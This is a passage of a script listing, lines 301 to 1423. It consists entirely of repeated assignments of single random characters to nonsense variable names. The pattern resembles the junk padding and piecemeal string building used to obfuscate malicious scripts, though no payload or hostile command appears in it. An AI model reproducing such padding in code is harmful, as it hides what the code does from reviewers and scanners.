301	ghzlh = "g";
302	ghzlh = "_";
303	lzyhvnro = "T";
304	lzyhvnro = "P";
305	lzyhvnro = "I";
306	lzyhvnro = "j";
307	lzyhvnro = "H";
308	lzyhvnro = "l";
309	lzyhvnro = "U";
310	lzyhvnro = "v";
311	lzyhvnro = "G";
312	lzyhvnro = "N";
313	lzyhvnro = "v";
314	lzyhvnro = "A";
315	lzyhvnro = "q";
316	lzyhvnro = "%";
317	rkpdxyjot = "m";
318	rkpdxyjot = "K";
319	rkpdxyjot = "s";
320	rkpdxyjot = "D";
321	rkpdxyjot = "M";
322	rkpdxyjot = "X";
323	rkpdxyjot = "v";
324	rkpdxyjot = "j";
325	rkpdxyjot = "C";
326	rkpdxyjot = "f";
327	rkpdxyjot = "W";
328	rkpdxyjot = "H";
329	rkpdxyjot = "Z";
330	rkpdxyjot = "W";
331	rkpdxyjot = "a";
332	rkpdxyjot = "M";
333	rkpdxyjot = "r";
334	rkpdxyjot = "f";
335	rkpdxyjot = "t";
336	rkpdxyjot = "L";
337	rkpdxyjot = "r";
338	rkpdxyjot = "d";
339	rkpdxyjot = "E";
340	rkpdxyjot = "A";
341	rkpdxyjot = "M";
342	rkpdxyjot = "p";
343	rkpdxyjot = "M";
344	rkpdxyjot = "G";
345	rkpdxyjot = "z";
346	rkpdxyjot = "k";
347	rkpdxyjot = "G";
348	rkpdxyjot = "x";
349	fqrlvi = "B";
350	fqrlvi = "I";
351	fqrlvi = "t";
352	rmytdogn = "G";
353	rmytdogn = "N";
354	rmytdogn = "x";
355	rmytdogn = "O";
356	rmytdogn = "B";
357	rmytdogn = "L";
358	rmytdogn = "b";
359	rmytdogn = "k";
360	rmytdogn = "F";
361	yfgmju = "z";
362	yfgmju = "W";
363	yfgmju = "H";
364	dcywlofsj = "P";
365	dcywlofsj = "h";
366	dcywlofsj = "I";
367	dcywlofsj = "T";
368	dcywlofsj = "Q";
369	dcywlofsj = "L";
370	dcywlofsj = "H";
371	dcywlofsj = "J";
372	dcywlofsj = "r";
373	dcywlofsj = "N";
374	dcywlofsj = "Q";
375	dcywlofsj = "g";
376	dcywlofsj = "X";
377	dcywlofsj = "p";
378	dcywlofsj = "P";
379	dcywlofsj = "k";
380	krwqobw = "r";
381	krwqobw = "k";
382	krwqobw = "I";
383	krwqobw = "D";
384	krwqobw = "Q";
385	krwqobw = "F";
386	krwqobw = "T";
387	krwqobw = "w";
388	krwqobw = "m";
389	krwqobw = "O";
390	krwqobw = "c";
391	krwqobw = "I";
392	krwqobw = "a";
393	krwqobw = "H";
394	krwqobw = "N";
395	krwqobw = "A";
396	krwqobw = "p";
397	krwqobw = "D";
398	krwqobw = "I";
399	krwqobw = "G";
400	krwqobw = "b";
401	krwqobw = "e";
402	krwqobw = "v";
403	krwqobw = "L";
404	krwqobw = ":";
405	vftkpomg = "L";
406	vftkpomg = "f";
407	vftkpomg = "V";
408	vftkpomg = "x";
409	vftkpomg = "Y";
410	vftkpomg = "H";
411	vftkpomg = "n";
412	vftkpomg = "H";
413	vftkpomg = "M";
414	vftkpomg = "h";
415	vftkpomg = "b";
416	vftkpomg = "e";
417	vftkpomg = "c";
418	vftkpomg = "N";
419	vftkpomg = "R";
420	vftkpomg = "Q";
421	vftkpomg = "R";
422	vftkpomg = "S";
423	vftkpomg = "K";
424	vftkpomg = "c";
425	vftkpomg = "C";
426	vftkpomg = "X";
427	vftkpomg = "l";
428	vftkpomg = "X";
429	vftkpomg = "l";
430	vftkpomg = "G";
431	vftkpomg = "G";
432	vftkpomg = "D";
433	vftkpomg = "n";
434	vftkpomg = "s";
435	vftkpomg = "S";
436	vftkpomg = "R";
437	vftkpomg = "d";
438	vftkpomg = "Z";
439	vftkpomg = "k";
440	vftkpomg = "W";
441	vftkpomg = "s";
442	vftkpomg = "A";
443	vftkpomg = "H";
444	vftkpomg = "V";
445	vftkpomg = "T";
446	vftkpomg = "S";
447	vftkpomg = "D";
448	vftkpomg = "y";
449	vftkpomg = "O";
450	gemmljfqg = "T";
451	gemmljfqg = "k";
452	gemmljfqg = "M";
453	gemmljfqg = "M";
454	gemmljfqg = "a";
455	gemmljfqg = "C";
456	gemmljfqg = "T";
457	gemmljfqg = "N";
458	gemmljfqg = "Y";
459	gemmljfqg = "N";
460	gemmljfqg = "o";
461	gemmljfqg = "d";
462	gemmljfqg = "r";
463	gemmljfqg = "S";
464	gemmljfqg = "K";
465	gemmljfqg = "u";
466	ecdabptp = "q";
467	ecdabptp = "I";
468	ecdabptp = "c";
469	ecdabptp = "Q";
470	ecdabptp = "c";
471	ecdabptp = "Y";
472	ecdabptp = "c";
473	ecdabptp = "b";
474	ecdabptp = "y";
475	ecdabptp = "n";
476	ecdabptp = "P";
477	ecdabptp = "u";
478	ecdabptp = "d";
479	ecdabptp = "V";
480	ecdabptp = "m";
481	ecdabptp = "b";
482	ecdabptp = "c";
483	ecdabptp = "g";
484	ecdabptp = "b";
485	ecdabptp = "i";
486	ecdabptp = "v";
487	ecdabptp = "A";
488	ecdabptp = "m";
489	ecdabptp = "b";
490	ecdabptp = "I";
491	ecdabptp = "q";
492	ecdabptp = "K";
493	ecdabptp = "q";
494	ecdabptp = "I";
495	ecdabptp = "G";
496	ecdabptp = "K";
497	ecdabptp = "M";
498	ecdabptp = "z";
499	ecdabptp = "y";
500	ecdabptp = "C";
501	ecdabptp = "Y";
502	ecdabptp = "f";
503	ecdabptp = "b";
504	ecdabptp = "q";
505	ecdabptp = "i";
506	aktisgkc = "x";
507	aktisgkc = "W";
508	aktisgkc = "e";
509	aktisgkc = "m";
510	aktisgkc = "s";
511	aktisgkc = "w";
512	aktisgkc = "c";
513	aktisgkc = "r";
514	aktisgkc = "p";
515	aktisgkc = "r";
516	aktisgkc = "M";
517	aktisgkc = "E";
518	aktisgkc = "k";
519	aktisgkc = "R";
520	aktisgkc = "D";
521	aktisgkc = "S";
522	aktisgkc = "Y";
523	aktisgkc = "r";
524	aktisgkc = "T";
525	aktisgkc = "z";
526	aktisgkc = "u";
527	aktisgkc = "A";
528	aktisgkc = "F";
529	aktisgkc = "y";
530	aktisgkc = "B";
531	aktisgkc = "L";
532	aktisgkc = "L";
533	aktisgkc = "t";
534	aktisgkc = "v";
535	iywmgqrwt = "j";
536	iywmgqrwt = "o";
537	iywmgqrwt = "E";
538	iywmgqrwt = "m";
539	iywmgqrwt = "V";
540	iywmgqrwt = "u";
541	iywmgqrwt = "U";
542	iywmgqrwt = "Z";
543	iywmgqrwt = "P";
544	iywmgqrwt = "F";
545	iywmgqrwt = "C";
546	iywmgqrwt = "G";
547	iywmgqrwt = "L";
548	iywmgqrwt = "C";
549	iywmgqrwt = "d";
550	iywmgqrwt = "J";
551	iywmgqrwt = "I";
552	iywmgqrwt = "A";
553	iywmgqrwt = "g";
554	iywmgqrwt = "d";
555	iywmgqrwt = "U";
556	iywmgqrwt = "d";
557	iywmgqrwt = "n";
558	iywmgqrwt = "r";
559	iywmgqrwt = "m";
560	iywmgqrwt = "x";
561	iywmgqrwt = "Q";
562	iywmgqrwt = "s";
563	iywmgqrwt = "c";
564	iywmgqrwt = "J";
565	iywmgqrwt = "A";
566	iywmgqrwt = "t";
567	iywmgqrwt = "S";
568	iywmgqrwt = "a";
569	iywmgqrwt = "f";
570	iywmgqrwt = "a";
571	iywmgqrwt = "I";
572	iywmgqrwt = "x";
573	iywmgqrwt = "c";
574	iywmgqrwt = "h";
575	iywmgqrwt = "p";
576	iywmgqrwt = "9";
577	siawk = "n";
578	siawk = "N";
579	siawk = "a";
580	siawk = "l";
581	siawk = "d";
582	siawk = "I";
583	siawk = "h";
584	siawk = "k";
585	siawk = "i";
586	siawk = "J";
587	siawk = "y";
588	siawk = "y";
589	siawk = "L";
590	siawk = "n";
591	siawk = "c";
592	siawk = "a";
593	siawk = "x";
594	siawk = "q";
595	siawk = "H";
596	siawk = "L";
597	siawk = "D";
598	siawk = "L";
599	siawk = "s";
600	siawk = "b";
601	siawk = "P";
602	siawk = "v";
603	siawk = "B";
604	siawk = "-";
605	rzmasdkdz = "f";
606	rzmasdkdz = "x";
607	rzmasdkdz = "v";
608	rzmasdkdz = "W";
609	rzmasdkdz = "S";
610	rzmasdkdz = "Y";
611	rzmasdkdz = "P";
612	rzmasdkdz = "A";
613	rzmasdkdz = "d";
614	rzmasdkdz = "P";
615	rzmasdkdz = "X";
616	rzmasdkdz = "X";
617	rzmasdkdz = "T";
618	rzmasdkdz = "z";
619	rzmasdkdz = "i";
620	rzmasdkdz = "L";
621	rzmasdkdz = "f";
622	rzmasdkdz = "J";
623	rzmasdkdz = "Q";
624	rzmasdkdz = "c";
625	rzmasdkdz = "Z";
626	rzmasdkdz = "I";
627	rzmasdkdz = "L";
628	rzmasdkdz = "W";
629	rzmasdkdz = "x";
630	rzmasdkdz = "B";
631	rzmasdkdz = "M";
632	rzmasdkdz = "Z";
633	rzmasdkdz = "a";
634	rzmasdkdz = "H";
635	rzmasdkdz = "5";
636	nskizgxmh = "s";
637	nskizgxmh = "c";
638	nskizgxmh = "h";
639	nskizgxmh = "h";
640	nskizgxmh = "@";
641	uwtss = "u";
642	uwtss = "M";
643	uwtss = "c";
644	uwtss = "L";
645	uwtss = "b";
646	uwtss = "t";
647	uwtss = "f";
648	uwtss = " ";
649	zbjqrvobe = "J";
650	zbjqrvobe = "q";
651	zbjqrvobe = "G";
652	zbjqrvobe = "l";
653	zbjqrvobe = "o";
654	zbjqrvobe = "F";
655	zbjqrvobe = "B";
656	zbjqrvobe = "I";
657	zbjqrvobe = "Q";
658	zbjqrvobe = "F";
659	zbjqrvobe = "Y";
660	zbjqrvobe = "R";
661	zbjqrvobe = "U";
662	zbjqrvobe = "I";
663	zbjqrvobe = "l";
664	zbjqrvobe = "K";
665	zbjqrvobe = "V";
666	zbjqrvobe = "V";
667	zbjqrvobe = "b";
668	zbjqrvobe = "Y";
669	zbjqrvobe = "M";
670	zbjqrvobe = "F";
671	zbjqrvobe = "K";
672	zbjqrvobe = "q";
673	zbjqrvobe = "K";
674	zbjqrvobe = "P";
675	zbjqrvobe = "E";
676	zbjqrvobe = "b";
677	zbjqrvobe = "N";
678	zbjqrvobe = "b";
679	zbjqrvobe = "n";
680	zbjqrvobe = "A";
681	zbjqrvobe = "p";
682	ibznztbv = "J";
683	ibznztbv = "f";
684	ibznztbv = "W";
685	ibznztbv = "W";
686	ibznztbv = "f";
687	ibznztbv = "s";
688	ibznztbv = "J";
689	ibznztbv = "A";
690	ibznztbv = "J";
691	ibznztbv = "n";
692	ibznztbv = "Z";
693	ibznztbv = "l";
694	ibznztbv = "d";
695	ibznztbv = "U";
696	ibznztbv = "b";
697	ibznztbv = "h";
698	ibznztbv = "o";
699	ibznztbv = "u";
700	ibznztbv = "w";
701	ibznztbv = "T";
702	ibznztbv = "t";
703	ibznztbv = "A";
704	ibznztbv = "O";
705	ibznztbv = "S";
706	dejsqgmq = "r";
707	dejsqgmq = "Z";
708	dejsqgmq = "A";
709	dejsqgmq = "c";
710	dejsqgmq = "J";
711	dejsqgmq = "K";
712	dejsqgmq = "l";
713	dejsqgmq = "O";
714	dejsqgmq = "e";
715	dejsqgmq = "P";
716	dejsqgmq = "P";
717	dejsqgmq = "m";
718	dejsqgmq = "i";
719	dejsqgmq = "P";
720	dejsqgmq = "w";
721	dejsqgmq = "e";
722	dejsqgmq = "G";
723	dejsqgmq = "B";
724	dejsqgmq = "K";
725	dejsqgmq = "k";
726	dejsqgmq = "J";
727	dejsqgmq = "s";
728	dejsqgmq = "r";
729	dejsqgmq = "V";
730	dejsqgmq = "G";
731	dejsqgmq = "A";
732	dejsqgmq = "L";
733	dejsqgmq = "I";
734	dejsqgmq = "E";
735	dejsqgmq = "Y";
736	dejsqgmq = "Z";
737	dejsqgmq = "U";
738	dejsqgmq = "t";
739	dejsqgmq = "w";
740	dejsqgmq = "V";
741	dejsqgmq = "v";
742	dejsqgmq = "k";
743	dejsqgmq = "G";
744	dejsqgmq = "o";
745	dejsqgmq = "G";
746	dejsqgmq = "j";
747	dejsqgmq = "g";
748	jssfxstq = "t";
749	jssfxstq = "S";
750	jssfxstq = "p";
751	jssfxstq = "d";
752	jssfxstq = "N";
753	jssfxstq = "Q";
754	jssfxstq = "R";
755	jssfxstq = "b";
756	jssfxstq = "h";
757	jssfxstq = "Z";
758	jssfxstq = "d";
759	jssfxstq = "l";
760	jssfxstq = "d";
761	jssfxstq = "A";
762	jssfxstq = "s";
763	jssfxstq = "V";
764	jssfxstq = "y";
765	jssfxstq = "k";
766	jssfxstq = "y";
767	jssfxstq = "O";
768	jssfxstq = "1";
769	unorqc = "Q";
770	unorqc = "s";
771	unorqc = "r";
772	unorqc = "q";
773	unorqc = "m";
774	unorqc = "z";
775	unorqc = "W";
776	unorqc = "P";
777	unorqc = "x";
778	unorqc = "g";
779	unorqc = "H";
780	unorqc = "t";
781	unorqc = "v";
782	unorqc = "u";
783	unorqc = "G";
784	unorqc = "N";
785	unorqc = "B";
786	unorqc = "Y";
787	unorqc = "f";
788	unorqc = "X";
789	unorqc = "d";
790	unorqc = "l";
791	unorqc = "s";
792	unorqc = "P";
793	unorqc = "N";
794	unorqc = "A";
795	unorqc = "y";
796	unorqc = "Y";
797	unorqc = "v";
798	unorqc = "z";
799	unorqc = "m";
800	unorqc = "q";
801	unorqc = "F";
802	unorqc = "c";
803	unorqc = "y";
804	unorqc = "c";
805	clfzikh = "Z";
806	clfzikh = "Z";
807	clfzikh = "k";
808	clfzikh = "l";
809	clfzikh = "q";
810	clfzikh = "i";
811	clfzikh = "t";
812	clfzikh = "c";
813	clfzikh = "f";
814	clfzikh = "g";
815	clfzikh = "S";
816	clfzikh = "d";
817	clfzikh = "P";
818	clfzikh = "i";
819	clfzikh = "z";
820	clfzikh = "j";
821	clfzikh = "h";
822	clfzikh = "N";
823	clfzikh = "Z";
824	clfzikh = "w";
825	clfzikh = "z";
826	clfzikh = "V";
827	clfzikh = "i";
828	clfzikh = "a";
829	clfzikh = "j";
830	clfzikh = "t";
831	clfzikh = "S";
832	clfzikh = "o";
833	clfzikh = "g";
834	clfzikh = "X";
835	clfzikh = "S";
836	clfzikh = "j";
837	clfzikh = "H";
838	clfzikh = "Q";
839	clfzikh = "j";
840	clfzikh = "p";
841	clfzikh = "D";
842	clfzikh = "m";
843	clfzikh = "c";
844	clfzikh = "4";
845	eopkddm = "n";
846	eopkddm = "G";
847	eopkddm = "d";
848	eopkddm = "e";
849	eopkddm = "n";
850	eopkddm = "p";
851	eopkddm = "E";
852	eopkddm = "Y";
853	eopkddm = "i";
854	eopkddm = "Q";
855	eopkddm = "L";
856	eopkddm = "A";
857	eopkddm = "E";
858	eopkddm = "N";
859	eopkddm = "b";
860	eopkddm = "w";
861	eopkddm = "y";
862	eopkddm = "I";
863	eopkddm = "I";
864	eopkddm = "N";
865	eopkddm = "t";
866	eopkddm = "B";
867	eopkddm = "H";
868	eopkddm = "D";
869	eopkddm = "m";
870	eopkddm = "M";
871	eopkddm = "o";
872	eopkddm = "Y";
873	eopkddm = "Z";
874	eopkddm = "r";
875	eopkddm = "S";
876	eopkddm = "j";
877	eopkddm = "u";
878	eopkddm = "R";
879	eopkddm = "y";
880	eopkddm = "X";
881	eopkddm = "Q";
882	eopkddm = "e";
883	fliemnbv = "m";
884	fliemnbv = "y";
885	fliemnbv = "Y";
886	fliemnbv = "G";
887	fliemnbv = "q";
888	fliemnbv = "W";
889	fliemnbv = "u";
890	fliemnbv = "Y";
891	fliemnbv = "f";
892	fliemnbv = "R";
893	vutwqyyj = "j";
894	vutwqyyj = "V";
895	vutwqyyj = "a";
896	vutwqyyj = "z";
897	vutwqyyj = "j";
898	mcxma = "a";
899	mcxma = "l";
900	mcxma = "v";
901	mcxma = "U";
902	mcxma = "J";
903	mcxma = "L";
904	mcxma = "n";
905	mcxma = "y";
906	mcxma = "L";
907	mcxma = "y";
908	mcxma = "p";
909	mcxma = "M";
910	mcxma = "O";
911	mcxma = "U";
912	mcxma = "N";
913	mcxma = "J";
914	mcxma = "k";
915	mcxma = "A";
916	mcxma = "X";
917	mcxma = "A";
918	mcxma = "Z";
919	mcxma = "H";
920	mcxma = "X";
921	mcxma = "q";
922	mcxma = "D";
923	mcxma = "C";
924	mcxma = "y";
925	mcxma = "g";
926	mcxma = "\\";
927	fxsqk = "U";
928	fxsqk = "k";
929	fxsqk = "E";
930	fxsqk = "p";
931	fxsqk = "L";
932	fxsqk = "A";
933	fxsqk = "W";
934	fxsqk = "T";
935	fxsqk = "p";
936	fxsqk = "k";
937	fxsqk = "Q";
938	fxsqk = "o";
939	fxsqk = "w";
940	fxsqk = "q";
941	fxsqk = "i";
942	fxsqk = "H";
943	fxsqk = "s";
944	fxsqk = "W";
945	fxsqk = "V";
946	fxsqk = "q";
947	fxsqk = "m";
948	fxsqk = "p";
949	fxsqk = "Q";
950	fxsqk = "u";
951	fxsqk = "f";
952	fxsqk = "H";
953	fxsqk = "z";
954	fxsqk = "T";
955	fxsqk = "E";
956	fxsqk = "c";
957	fxsqk = "a";
958	fxsqk = "l";
959	fxsqk = "I";
960	fxsqk = "f";
961	fxsqk = "x";
962	fxsqk = "l";
963	fxsqk = "l";
964	fxsqk = "i";
965	fxsqk = "k";
966	fxsqk = "T";
967	fxsqk = "W";
968	fxsqk = "k";
969	fxsqk = "s";
970	fxsqk = "d";
971	stqldqk = "S";
972	stqldqk = "V";
973	stqldqk = "y";
974	stqldqk = "v";
975	stqldqk = "v";
976	stqldqk = "S";
977	stqldqk = "t";
978	stqldqk = "X";
979	stqldqk = "p";
980	stqldqk = "M";
981	stqldqk = "u";
982	stqldqk = "V";
983	stqldqk = "N";
984	stqldqk = "Q";
985	stqldqk = "e";
986	stqldqk = "H";
987	stqldqk = "a";
988	stqldqk = "V";
989	stqldqk = "Q";
990	stqldqk = "I";
991	stqldqk = "Z";
992	stqldqk = "G";
993	stqldqk = "k";
994	stqldqk = "d";
995	stqldqk = "o";
996	stqldqk = "z";
997	stqldqk = "R";
998	stqldqk = "l";
999	stqldqk = "v";
1000	stqldqk = "m";
1001	rdadmyygg = "T";
1002	rdadmyygg = "q";
1003	rdadmyygg = "O";
1004	rdadmyygg = "U";
1005	rdadmyygg = "u";
1006	rdadmyygg = "D";
1007	rdadmyygg = "L";
1008	rdadmyygg = "f";
1009	rdadmyygg = "e";
1010	rdadmyygg = "i";
1011	rdadmyygg = "U";
1012	rdadmyygg = "y";
1013	rdadmyygg = "l";
1014	rdadmyygg = "d";
1015	rdadmyygg = "w";
1016	rdadmyygg = "B";
1017	rdadmyygg = "C";
1018	rdadmyygg = "l";
1019	rdadmyygg = "J";
1020	rdadmyygg = "y";
1021	rdadmyygg = "O";
1022	rdadmyygg = "z";
1023	rdadmyygg = "k";
1024	rdadmyygg = "y";
1025	rdadmyygg = "g";
1026	rdadmyygg = "L";
1027	rdadmyygg = "l";
1028	rdadmyygg = "X";
1029	rdadmyygg = "M";
1030	rdadmyygg = "G";
1031	rdadmyygg = "e";
1032	rdadmyygg = "n";
1033	rdadmyygg = "O";
1034	rdadmyygg = "R";
1035	rdadmyygg = "P";
1036	rdadmyygg = "w";
1037	rdadmyygg = "j";
1038	rdadmyygg = "E";
1039	rdadmyygg = "t";
1040	rdadmyygg = "B";
1041	rdadmyygg = "z";
1042	rdadmyygg = "j";
1043	rdadmyygg = "E";
1044	yqtes = "Y";
1045	yqtes = "V";
1046	yqtes = "R";
1047	yqtes = "s";
1048	yqtes = "Y";
1049	yqtes = "b";
1050	yqtes = "k";
1051	yqtes = "n";
1052	yqtes = "y";
1053	yqtes = "J";
1054	yqtes = "j";
1055	yqtes = "t";
1056	yqtes = "z";
1057	yqtes = "e";
1058	yqtes = "v";
1059	yqtes = "p";
1060	yqtes = "x";
1061	yqtes = "e";
1062	yqtes = "v";
1063	yqtes = "A";
1064	yqtes = "r";
1065	yqtes = "a";
1066	yqtes = "E";
1067	yqtes = "s";
1068	yqtes = "w";
1069	yqtes = "y";
1070	yqtes = "b";
1071	yqtes = "h";
1072	yqtes = "A";
1073	yqtes = "W";
1074	yqtes = "h";
1075	yqtes = "h";
1076	yqtes = "V";
1077	yqtes = "V";
1078	yqtes = "A";
1079	yqtes = "x";
1080	yqtes = "3";
1081	zxmri = "A";
1082	zxmri = "w";
1083	zxmri = "K";
1084	zxmri = "v";
1085	zxmri = "n";
1086	knapvcgv = "H";
1087	knapvcgv = "f";
1088	knapvcgv = "o";
1089	knapvcgv = "z";
1090	knapvcgv = "O";
1091	knapvcgv = "X";
1092	knapvcgv = "w";
1093	knapvcgv = "Y";
1094	knapvcgv = "Y";
1095	knapvcgv = "O";
1096	knapvcgv = "C";
1097	knapvcgv = "b";
1098	knapvcgv = "Q";
1099	knapvcgv = "f";
1100	knapvcgv = "P";
1101	knapvcgv = "A";
1102	knapvcgv = "y";
1103	knapvcgv = "n";
1104	knapvcgv = "s";
1105	knapvcgv = "m";
1106	knapvcgv = "q";
1107	knapvcgv = "B";
1108	knapvcgv = "t";
1109	knapvcgv = "t";
1110	knapvcgv = "Q";
1111	knapvcgv = "j";
1112	knapvcgv = "T";
1113	knapvcgv = "o";
1114	knapvcgv = "A";
1115	knapvcgv = "W";
1116	knapvcgv = "B";
1117	knapvcgv = ".";
1118	fggcz = "Y";
1119	fggcz = "f";
1120	fggcz = "a";
1121	fggcz = "i";
1122	fggcz = "b";
1123	fggcz = "R";
1124	fggcz = "u";
1125	fggcz = "r";
1126	fggcz = "H";
1127	fggcz = "A";
1128	fggcz = "w";
1129	fggcz = "z";
1130	fggcz = "Q";
1131	fggcz = "O";
1132	fggcz = "k";
1133	fggcz = "N";
1134	fggcz = "B";
1135	fggcz = "p";
1136	fggcz = "Z";
1137	fggcz = "X";
1138	fggcz = "C";
1139	fggcz = "F";
1140	fggcz = "g";
1141	fggcz = "U";
1142	fggcz = "R";
1143	fggcz = "w";
1144	fggcz = "P";
1145	fggcz = "n";
1146	fggcz = "S";
1147	fggcz = "h";
1148	fggcz = "p";
1149	fggcz = "h";
1150	fggcz = "\"";
1151	rwmsvhabs = "u";
1152	rwmsvhabs = "c";
1153	rwmsvhabs = "X";
1154	rwmsvhabs = "n";
1155	rwmsvhabs = "Q";
1156	rwmsvhabs = "P";
1157	rwmsvhabs = "N";
1158	rwmsvhabs = "Q";
1159	rwmsvhabs = "k";
1160	rwmsvhabs = "d";
1161	rwmsvhabs = "q";
1162	rwmsvhabs = "N";
1163	rwmsvhabs = "M";
1164	rwmsvhabs = "x";
1165	rwmsvhabs = "r";
1166	rwmsvhabs = "B";
1167	rwmsvhabs = "S";
1168	rwmsvhabs = "s";
1169	bnbhmags = "M";
1170	bnbhmags = "n";
1171	bnbhmags = "H";
1172	bnbhmags = "N";
1173	bnbhmags = "g";
1174	bnbhmags = "x";
1175	bnbhmags = "q";
1176	bnbhmags = "d";
1177	bnbhmags = "k";
1178	bnbhmags = "u";
1179	bnbhmags = "J";
1180	bnbhmags = "n";
1181	bnbhmags = "b";
1182	bnbhmags = "O";
1183	bnbhmags = "q";
1184	bnbhmags = "B";
1185	bnbhmags = "N";
1186	bnbhmags = "J";
1187	bnbhmags = "z";
1188	bnbhmags = "U";
1189	bnbhmags = "j";
1190	bnbhmags = "B";
1191	bnbhmags = "w";
1192	bnbhmags = "s";
1193	bnbhmags = "c";
1194	bnbhmags = "Y";
1195	bnbhmags = "i";
1196	bnbhmags = "D";
1197	bnbhmags = "e";
1198	bnbhmags = "a";
1199	bnbhmags = "Y";
1200	bnbhmags = "m";
1201	bnbhmags = "w";
1202	bnbhmags = "Y";
1203	bnbhmags = "m";
1204	bnbhmags = "g";
1205	bnbhmags = "t";
1206	bnbhmags = "l";
1207	bnbhmags = "B";
1208	bnbhmags = "h";
1209	bnbhmags = "f";
1210	zzlfuiozh = "Y";
1211	zzlfuiozh = "C";
1212	zzlfuiozh = "I";
1213	zzlfuiozh = "h";
1214	zzlfuiozh = "N";
1215	zzlfuiozh = "6";
1216	wuzil = "E";
1217	wuzil = "A";
1218	wuzil = "A";
1219	wuzil = "Y";
1220	wuzil = "T";
1221	wuzil = "P";
1222	wuzil = "C";
1223	wuzil = "r";
1224	wuzil = "G";
1225	wuzil = "G";
1226	wuzil = "R";
1227	wuzil = "U";
1228	wuzil = "d";
1229	wuzil = "m";
1230	wuzil = "C";
1231	wuzil = "Q";
1232	pbexylw = "p";
1233	pbexylw = "l";
1234	ouitmvaig = "x";
1235	ouitmvaig = "w";
1236	ouitmvaig = "m";
1237	ouitmvaig = "s";
1238	ouitmvaig = "t";
1239	ouitmvaig = "X";
1240	ouitmvaig = "R";
1241	ouitmvaig = "J";
1242	ouitmvaig = "W";
1243	yrknib = "A";
1244	yrknib = "t";
1245	yrknib = "N";
1246	yrknib = "G";
1247	yrknib = "b";
1248	yrknib = "B";
1249	yrknib = "Z";
1250	yrknib = "L";
1251	yrknib = "u";
1252	yrknib = "R";
1253	yrknib = "S";
1254	yrknib = "P";
1255	yrknib = "A";
1256	yrknib = "c";
1257	yrknib = "P";
1258	yrknib = "N";
1259	yrknib = "l";
1260	yrknib = "H";
1261	yrknib = "F";
1262	yrknib = "o";
1263	yrknib = "D";
1264	yrknib = "R";
1265	yrknib = "u";
1266	yrknib = "0";
1267	zlmuzjhiu = "h";
1268	zlmuzjhiu = "R";
1269	zlmuzjhiu = "w";
1270	zlmuzjhiu = "O";
1271	zlmuzjhiu = "I";
1272	zlmuzjhiu = "N";
1273	zlmuzjhiu = "X";
1274	zlmuzjhiu = "p";
1275	zlmuzjhiu = "O";
1276	zlmuzjhiu = "Z";
1277	zlmuzjhiu = "z";
1278	zlmuzjhiu = "J";
1279	zlmuzjhiu = "y";
1280	zlmuzjhiu = "I";
1281	zlmuzjhiu = "y";
1282	zlmuzjhiu = "a";
1283	zlmuzjhiu = "d";
1284	zlmuzjhiu = "D";
1285	zlmuzjhiu = "K";
1286	zlmuzjhiu = "x";
1287	zlmuzjhiu = "z";
1288	zlmuzjhiu = "t";
1289	zlmuzjhiu = "g";
1290	zlmuzjhiu = "v";
1291	zlmuzjhiu = "Z";
1292	zlmuzjhiu = "D";
1293	zlmuzjhiu = "f";
1294	zlmuzjhiu = "j";
1295	zlmuzjhiu = "O";
1296	zlmuzjhiu = "n";
1297	zlmuzjhiu = "G";
1298	zlmuzjhiu = "w";
1299	zlmuzjhiu = "T";
1300	bzgpwhchi = "z";
1301	bzgpwhchi = "Q";
1302	bzgpwhchi = "U";
1303	bzgpwhchi = "B";
1304	bzgpwhchi = "o";
1305	bzgpwhchi = "d";
1306	bzgpwhchi = "k";
1307	bzgpwhchi = "X";
1308	bzgpwhchi = "k";
1309	bzgpwhchi = "p";
1310	bzgpwhchi = "b";
1311	bzgpwhchi = "c";
1312	bzgpwhchi = "s";
1313	bzgpwhchi = "E";
1314	bzgpwhchi = "i";
1315	bzgpwhchi = "R";
1316	bzgpwhchi = "x";
1317	bzgpwhchi = "x";
1318	bzgpwhchi = "b";
1319	iegsiib = "O";
1320	iegsiib = "i";
1321	iegsiib = "Y";
1322	iegsiib = "c";
1323	iegsiib = "b";
1324	iegsiib = "D";
1325	iegsiib = "v";
1326	iegsiib = "N";
1327	iegsiib = "W";
1328	iegsiib = "Z";
1329	iegsiib = "X";
1330	iegsiib = "A";
1331	iegsiib = "I";
1332	iegsiib = "M";
1333	iegsiib = "C";
1334	iegsiib = "W";
1335	iegsiib = "C";
1336	iegsiib = "i";
1337	iegsiib = "L";
1338	iegsiib = "Y";
1339	iegsiib = "O";
1340	iegsiib = "j";
1341	iegsiib = "w";
1342	iegsiib = "y";
1343	iegsiib = "Y";
1344	iegsiib = "E";
1345	iegsiib = "M";
1346	iegsiib = "J";
1347	iegsiib = "e";
1348	iegsiib = "Y";
1349	iegsiib = "V";
1350	iegsiib = "v";
1351	iegsiib = "I";
1352	iegsiib = "p";
1353	iegsiib = "a";
1354	iegsiib = "P";
1355	iegsiib = "&";
1356	bqkuczg = "P";
1357	bqkuczg = "Y";
1358	bqkuczg = "U";
1359	bqkuczg = "H";
1360	bqkuczg = "Y";
1361	bqkuczg = "F";
1362	bqkuczg = "s";
1363	bqkuczg = "l";
1364	bqkuczg = "J";
1365	bqkuczg = "N";
1366	bqkuczg = "R";
1367	bqkuczg = "b";
1368	bqkuczg = "e";
1369	bqkuczg = "n";
1370	bqkuczg = "N";
1371	bqkuczg = "J";
1372	bqkuczg = "N";
1373	bqkuczg = "w";
1374	bqkuczg = "x";
1375	bqkuczg = "P";
1376	bqkuczg = "R";
1377	bqkuczg = "M";
1378	bqkuczg = "g";
1379	bqkuczg = "u";
1380	bqkuczg = "T";
1381	bqkuczg = "d";
1382	bqkuczg = "Z";
1383	bqkuczg = "F";
1384	bqkuczg = "R";
1385	bqkuczg = "I";
1386	vnimti = "Y";
1387	vnimti = "H";
1388	vnimti = "a";
1389	vnimti = "a";
1390	vnimti = "R";
1391	vnimti = "W";
1392	vnimti = "U";
1393	vnimti = "O";
1394	vnimti = "R";
1395	vnimti = "l";
1396	vnimti = "s";
1397	vnimti = "i";
1398	vnimti = "7";
1399	etpbpz = "d";
1400	etpbpz = "h";
1401	etpbpz = "u";
1402	etpbpz = "n";
1403	etpbpz = "h";
1404	etpbpz = "g";
1405	etpbpz = "p";
1406	etpbpz = "j";
1407	etpbpz = "c";
1408	etpbpz = "j";
1409	etpbpz = "R";
1410	etpbpz = "d";
1411	etpbpz = "S";
1412	etpbpz = "R";
1413	etpbpz = "K";
1414	etpbpz = "u";
1415	etpbpz = "N";
1416	gukxmpz = "y";
1417	gukxmpz = "e";
1418	gukxmpz = "T";
1419	gukxmpz = "D";
1420	gukxmpz = "z";
1421	gukxmpz = "Q";
1422	gukxmpz = "i";
1423	gukxmpz = "K";
